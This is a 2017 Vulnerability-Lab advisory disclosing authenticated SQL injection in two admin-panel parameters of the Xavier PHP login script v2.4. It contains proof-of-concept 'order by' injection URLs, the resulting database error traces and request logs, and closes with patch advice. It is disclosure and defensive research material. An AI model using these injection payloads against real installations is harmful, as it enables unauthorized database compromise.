Xavier 2.4 – SQL Injection

  • 作者: Vulnerability-Lab
    日期: 2017-06-07
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/42132/
  • Document Title:
    ===============
    Xavier v2.4 PHP MP - SQL Injection Web Vulnerabilities
    
    
    References (Source):
    ====================
    https://www.vulnerability-lab.com/get_content.php?id=2076
    
    
    Release Date:
    =============
    2017-06-06
    
    
    Vulnerability Laboratory ID (VL-ID):
    ====================================
    2076
    
    
    Common Vulnerability Scoring System:
    ====================================
    5.3
    
    
    Vulnerability Class:
    ====================
    SQL Injection
    
    
    Current Estimated Price:
    ========================
    1.000€ - 2.000€
    
    
    Product & Service Introduction:
    ===============================
    The script can easily be dropped in to an existing website allowing you to protect pages by adding one line of PHP code at the top of a page. 
    You can also protect sections of pages. Secure your web pages or sections of content dependant on whether your users are logged in or out, 
    or whether they are a member of a User Group. Or secure your pages dependent on whether you are logged on as an administrator.
    
    (Copy of the Homepage:https://codecanyon.net/item/xavier-php-login-script-user-management/9146226 )
    
    
    Abstract Advisory Information:
    ==============================
    The vulnerability laboratory core research team discovered multiple sql-injection web vulnerabilities in the Xavier PHP Login Script & User Management Admin Panel v2.4 web-application.
    
    
    Vulnerability Disclosure Timeline:
    ==================================
    2017-06-06: Public Disclosure (Vulnerability Laboratory)
    
    
    Discovery Status:
    =================
    Published
    
    
    Affected Product(s):
    ====================
    Siggles
    Product: Xavier - PHP Login Script & User Management Admin Panel 2.4
    
    
    Exploitation Technique:
    =======================
    Remote
    
    
    Severity Level:
    ===============
    Medium
    
    
    Technical Details & Description:
    ================================
    Multiple sql-injection vulnerabilities has been discovered in the Xavier PHP Login Script & User Management Admin Panel web-application.
    The issue allows remote attackers to inject own malicious sql commands to compromise the web-application & database management system.
    
    The sql-injection vulnerabilities are located in the `usertoedit` and `log_id` parameters of the `adminuserdit.php` and `editgroup.php` files.
    Remote attackers with privileged user accounts are able to compromise the web-application and database management system by injection of sql 
    commands via GET method request. The attacker vector is client-side and the request method to inject the sql commands is GET. The vulnerability 
    is a classic order by sql-injection.
    
    The security risk of the sql-injection web vulnerability is estimated as medium with a common vulnerability scoring system count of 5.3. 
    Exploitation of the remote sql-injection web vulnerability requires an authenticated web-application user account and no user interaction. 
    Successful exploitation of the sql-injection web vulnerability results in web-application or database management system compromise.
    
    Request Method(s):
    [+] GET
    
    Vulnerable File(s):
    [+] adminuseredit.php
    [+] editgroup.php
    
    Vulnerable Parameter(s):
    [+] usertoedit
    [+] log_id
    
    
    Proof of Concept (PoC):
    =======================
    The remote sql-injection vulnerability can be exploited by authenticated user accounts without user interaction.
    For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.
    
    
    PoC: Example
    https://xavier-php.localhost:8080/xavier/admin/adminuseredit.php?usertoedit=[SQL-INJECTION VULNERABILITY!]
    https://xavier-php.localhost:8080/xavier/admin/editgroup.php?log_id=[SQL-INJECTION VULNERABILITY!]
    
    
    PoC: Exploitation
    https://xavier-php.localhost:8080/xavier/admin/adminuseredit.php?usertoedit=1%20order%20by%203--
    https://xavier-php.localhost:8080/xavier/admin/editgroup.php?log_id=1%20order%20by%203--
    
    
    --- SQL Error & Exception Logs ---
    Fatal error: Uncaught exception 'PDOException' with message 'SQLSTATE[42S22]: 
    Column not found: 1054 Unknown column '100' in 'order clause'' 
    in /home/angry/public_html/xavier-demo/admin/includes/Functions.php:300 Stack trace: 
    #0 /home/angry/public_html/xavier-demo/admin/includes/Functions.php(300): PDO->query('SELECT * FROM `...') 
    #1 /home/angry/public_html/xavier-demo/admin/editgroup.php(11): Functions->returnGroupInfo(Object(Database), '1 order by 100-...') 
    #2 {main} thrown in /home/angry/public_html/xavier-demo/admin/includes/Functions.php on line 300
    -
    Fatal error: Uncaught exception 'PDOException' with message 'SQLSTATE[42000]: 
    Syntax error or access violation: 1064 You have an error in your SQL syntax; 
    check the manual that corresponds to your MySQL server version for the right syntax to use near ''' at line 1' 
    in /home/angry/public_html/xavier-demo/admin/includes/Functions.php:300 Stack trace: 
    #0 /home/angry/public_html/xavier-demo/admin/includes/Functions.php(300): PDO->query('SELECT * FROM `...') 
    #1 /home/angry/public_html/xavier-demo/admin/editgroup.php(11): Functions->returnGroupInfo(Object(Database), ''') 
    #2 {main} thrown in /home/angry/public_html/xavier-demo/admin/includes/Functions.php on line 300
    -
    Fatal error: Uncaught exception 'PDOException' with message 'SQLSTATE[42000]: 
    Syntax error or access violation: 1064 You have an error in your SQL syntax; 
    check the manual that corresponds to your MySQL server version for the right syntax to use near '''' at line 1' 
    in /home/angry/public_html/xavier-demo/admin/includes/Functions.php:59 Stack trace: 
    #0 /home/angry/public_html/xavier-demo/admin/includes/Functions.php(59): PDO->query('SELECT username...') 
    #1 /home/angry/public_html/xavier-demo/admin/adminuseredit.php(26): Functions->usernameTaken('-1' -1'') 
    #2 {main} thrown in /home/angry/public_html/xavier-demo/admin/includes/Functions.php on line 59
    
    
    --- PoC Session Logs [GET] ---
    Status: 200[OK]
    GET https://xavier-php.localhost:8080/xavier/admin/editgroup.php?log_id=%27[SQL-INJECTION VULNERABILITY!]-- 
    Mime Type[text/html]
     Request Header:
    Host[xavier-php.localhost:8080]
    User-Agent[Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0]
    Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
    Cookie[PHPSESSID=6b9f9560a6a0d35b12b8603424cf2525]
    Connection[keep-alive]
    Upgrade-Insecure-Requests[1]
     Response Header:
    Server[Apache]
    Keep-Alive[timeout=2, max=100]
    Connection[Keep-Alive]
    Transfer-Encoding[chunked]
    Content-Type[text/html]
    -
    20:49:05.559[216ms][total 277ms] Status: 200[OK]
    GET https://xavier-php.localhost:8080/xavier/admin/adminuseredit.php?usertoedit=%27[SQL-INJECTION VULNERABILITY!]-- 
    Mime Type[text/html]
     Request Header:
    Host[xavier-php.localhost:8080]
    User-Agent[Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0]
    Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
    Cookie[PHPSESSID=6b9f9560a6a0d35b12b8603424cf2525]
    Connection[keep-alive]
    Upgrade-Insecure-Requests[1]
     Response Header:
    Server[Apache]
    Keep-Alive[timeout=2, max=100]
    Connection[Keep-Alive]
    Transfer-Encoding[chunked]
    Content-Type[text/html]
    
    
    Reference(s):
    https://xavier-php.localhost:8080/
    https://xavier-php.localhost:8080/xavier/
    https://xavier-php.localhost:8080/xavier/admin/
    https://xavier-php.localhost:8080/xavier/admin/editgroup.php
    https://xavier-php.localhost:8080/xavier/admin/adminuseredit.php
    
    
    Solution - Fix & Patch:
    =======================
    The vulnerability can be patched by a parse via escape of the vulnerable parameters in the affected php files.
    Restrict the prameter input and use a prepared statement to secure the functions of the admin panel.
    Disallow to preview errors in the php code of the panel to prevent attacks.
    
    
    Security Risk:
    ==============
    The security risk of the sql-injection vulnerability in the web panel of the xavier application is estimated as medium (CVSS 5.3).
    
    
    Credits & Authors:
    ==================
    Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri (http://www.vulnerability-lab.com/show.php?user=Benjamin%20K.M.)
    
    
    Disclaimer & Information:
    =========================
    The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed or 
    implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable in any 
    case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability Labs or its 
    suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability mainly for incidental
    or consequential damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break any licenses, policies, deface 
    websites, hack into databases or trade with stolen data. We have no need for criminal activities or membership requests. We do not publish advisories 
    or vulnerabilities of religious-, militant- and racist- hacker/analyst/researcher groups or individuals. We do not publish trade researcher mails, 
    phone numbers, conversations or anything else to journalists, investigative authorities or private individuals. 
    
    Domains:www.vulnerability-lab.com		- www.vulnerability-db.com					- www.evolution-sec.com
    Programs: vulnerability-lab.com/submit.php 	- vulnerability-lab.com/list-of-bug-bounty-programs.php 	- vulnerability-lab.com/register.php
    Feeds:	vulnerability-lab.com/rss/rss.php 	- vulnerability-lab.com/rss/rss_upcoming.php 			- vulnerability-lab.com/rss/rss_news.php
    Social:	twitter.com/vuln_lab		- facebook.com/VulnerabilityLab 				- youtube.com/user/vulnerability0lab
    
    Any modified copy or reproduction, including partially usages, of this file, resources or information requires authorization from Vulnerability Laboratory. 
    Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by 
    Vulnerability Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and other information on this website is trademark 
    of vulnerability-lab team & the specific authors or managers. To record, list, modify, use or edit our material contact (admin@) to get an ask permission.
    
    				Copyright © 2017 | Vulnerability Laboratory - [Evolution Security GmbH]™
    
    
    
    
    -- 
    VULNERABILITY LABORATORY - RESEARCH TEAM
    SERVICE: www.vulnerability-lab.com